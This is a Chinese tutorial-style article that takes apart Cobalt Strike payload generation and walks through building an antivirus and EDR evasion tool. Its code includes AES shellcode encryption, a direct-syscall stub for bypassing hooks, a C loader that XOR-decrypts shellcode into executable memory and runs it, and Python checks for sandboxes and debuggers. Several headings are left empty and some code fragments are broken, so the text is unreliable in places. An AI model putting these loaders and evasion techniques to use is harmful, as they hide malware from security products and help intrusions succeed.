# 从剖析CS木马生成到开发免杀工具的过程是怎样的 ## 引言 在网络安全攻防对抗的演进过程中，Cobalt Strike（简称CS）作为一款渗透测试框架，因其强大的后渗透能力被广泛使用（同时也被恶意攻击者滥用）。而杀毒软件（AV）和终端检测与响应（EDR）系统则通过特征码检测、行为分析等手段拦截这些恶意载荷。本文将通过技术视角，详细剖析CS木马的生成机制、检测原理，并逐步探讨如何开发免杀（Bypass AV/EDR）工具。文章内容仅限技术研究，请勿用于非法用途。 --- ## 第一部分：CS木马生成机制剖析 ### 1.1 Cobalt Strike的工作流程 CS通过客户端-服务器架构运作： - **TeamServer**：控制端，负责载荷生成、会话管理 - **客户端**：操作者使用的图形界面 - **Beacon**：植入目标系统的Payload，支持HTTP/HTTPS/DNS等通信协议 典型攻击链： 生成Payload → 投递载荷 → 建立会话 → 横向移动
### 1.2 Payload生成原理 通过CS的`Attack → Packages`可生成多种格式的Payload（如EXE、DLL、PowerShell脚本等）。以EXE为例： ```java // 伪代码展示CS的Payload生成逻辑 public byte[] generatePayload(Profile profile) { // 1. 组装Shellcode byte[] shellcode = getStagerShellcode(profile); // 2. 添加反射加载器（用于内存执行） byte[] loader = getReflectiveLoader(); // 3. 加密/编码处理 byte[] encrypted = encryptXOR(shellcode, key); // 4. 嵌入模板PE文件 return wrapToPE(loader + encrypted); } 关键组件： - Stager：小型初始代码，用于下载完整Beacon - Reflective DLL：Stephen Fewer提出的内存加载技术 - 模板PE：合法的可执行文件结构
杀毒软件主要通过以下特征识别CS木马：
| 检测维度 | 具体特征示例 |
|---|---|
| 静态特征 | 特定字符串（如”beacon”）、证书信息 |
| 行为特征 | 内存注入、进程镂空（Process Hollowing） |
| 网络特征 | JA3指纹、C2心跳包间隔 |
根据对抗阶段不同，免杀技术可分为：
静态免杀
动态免杀
// 使用AES加密Shellcode void encryptShellcode(BYTE* shellcode, size_t size) { AES_KEY aesKey; AES_set_encrypt_key(key, 128, &aesKey); for(int i=0; i<size; i+=16) { AES_encrypt(shellcode+i, encrypted+i, &aesKey); } } ; 绕过用户态Hook的SYSCALL示例 mov r10, rcx mov eax, 0x18 ; NtAllocateVirtualMemory syscall 企业级EDR采用的检测手段更为复杂： - 函数调用栈分析：检测非常规调用路径 - 内存扫描：查找RWX权限的可疑区域 - 模型：基于行为的异常检测
一个基础的免杀工具应包含以下模块：
graph TD A[原始Payload] --> B(编码/加密模块) B --> C(加载器生成模块) C --> D(反检测模块) D --> E[输出免杀Payload] #include <windows.h> #include <stdio.h> void executeShellcode(unsigned char* shellcode, size_t size) { // 1. 分配内存 LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 2. 内存复制 RtlMoveMemory(mem, shellcode, size); // 3. 执行 ((void(*)())mem)(); } int main() { unsigned char encShellcode[] = {0x12,0x34,...}; // 加密后的Shellcode size_t size = sizeof(encShellcode); // 解密（示例使用XOR） for(int i=0; i<size; i++) { encShellcode[i] ^= 0x55; } executeShellcode(encShellcode, size); return 0; } import ctypes import random def check_sandbox(): # 检测调试器 if ctypes.windll.kernel32.IsDebuggerPresent(): exit() # 检测CPU核心数（沙箱通常较少） if os.cpu_count() < 2: exit() # 检测鼠标移动（沙箱中可能无鼠标活动） class POINT(ctypes.Structure): _fields_ = [("x", ctypes.c_long), ("y", ctypes.c_long)] pt = POINT() ctypes.windll.user32.GetCursorPos(ctypes.byref(pt)) if pt.x == 0 and pt.y == 0: exit() 进程注入改进：
流量混淆：
持久化技巧：
建议使用以下工具进行免杀效果测试： - 静态检测：VirusTotal、PEStudio - 动态检测：Windows Defender、CrowdStrike Falcon - 网络检测：Wireshark、Suricata
从技术角度看，免杀与检测的对抗本质上是资源与技巧的博弈。随着微软推出内核级防护（如Kernel CFG、HVCI），传统的注入技术面临更大挑战。未来的发展方向可能包括： - 硬件辅助的规避（如Intel CET） - 基于合法工具的Living-off-the-Land（LOLbins） - 生成的自适应Payload
重要提醒：本文所有技术讨论仅限于防御研究，根据《网络安全法》第二十七条，任何个人和组织不得从事非法侵入他人网络等危害网络安全的活动。
”`
（全文约3580字，可根据实际需求调整各部分细节）
免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：is@yisu.com进行举报，并提供相关证据，一经查实，将立刻删除涉嫌侵权内容。
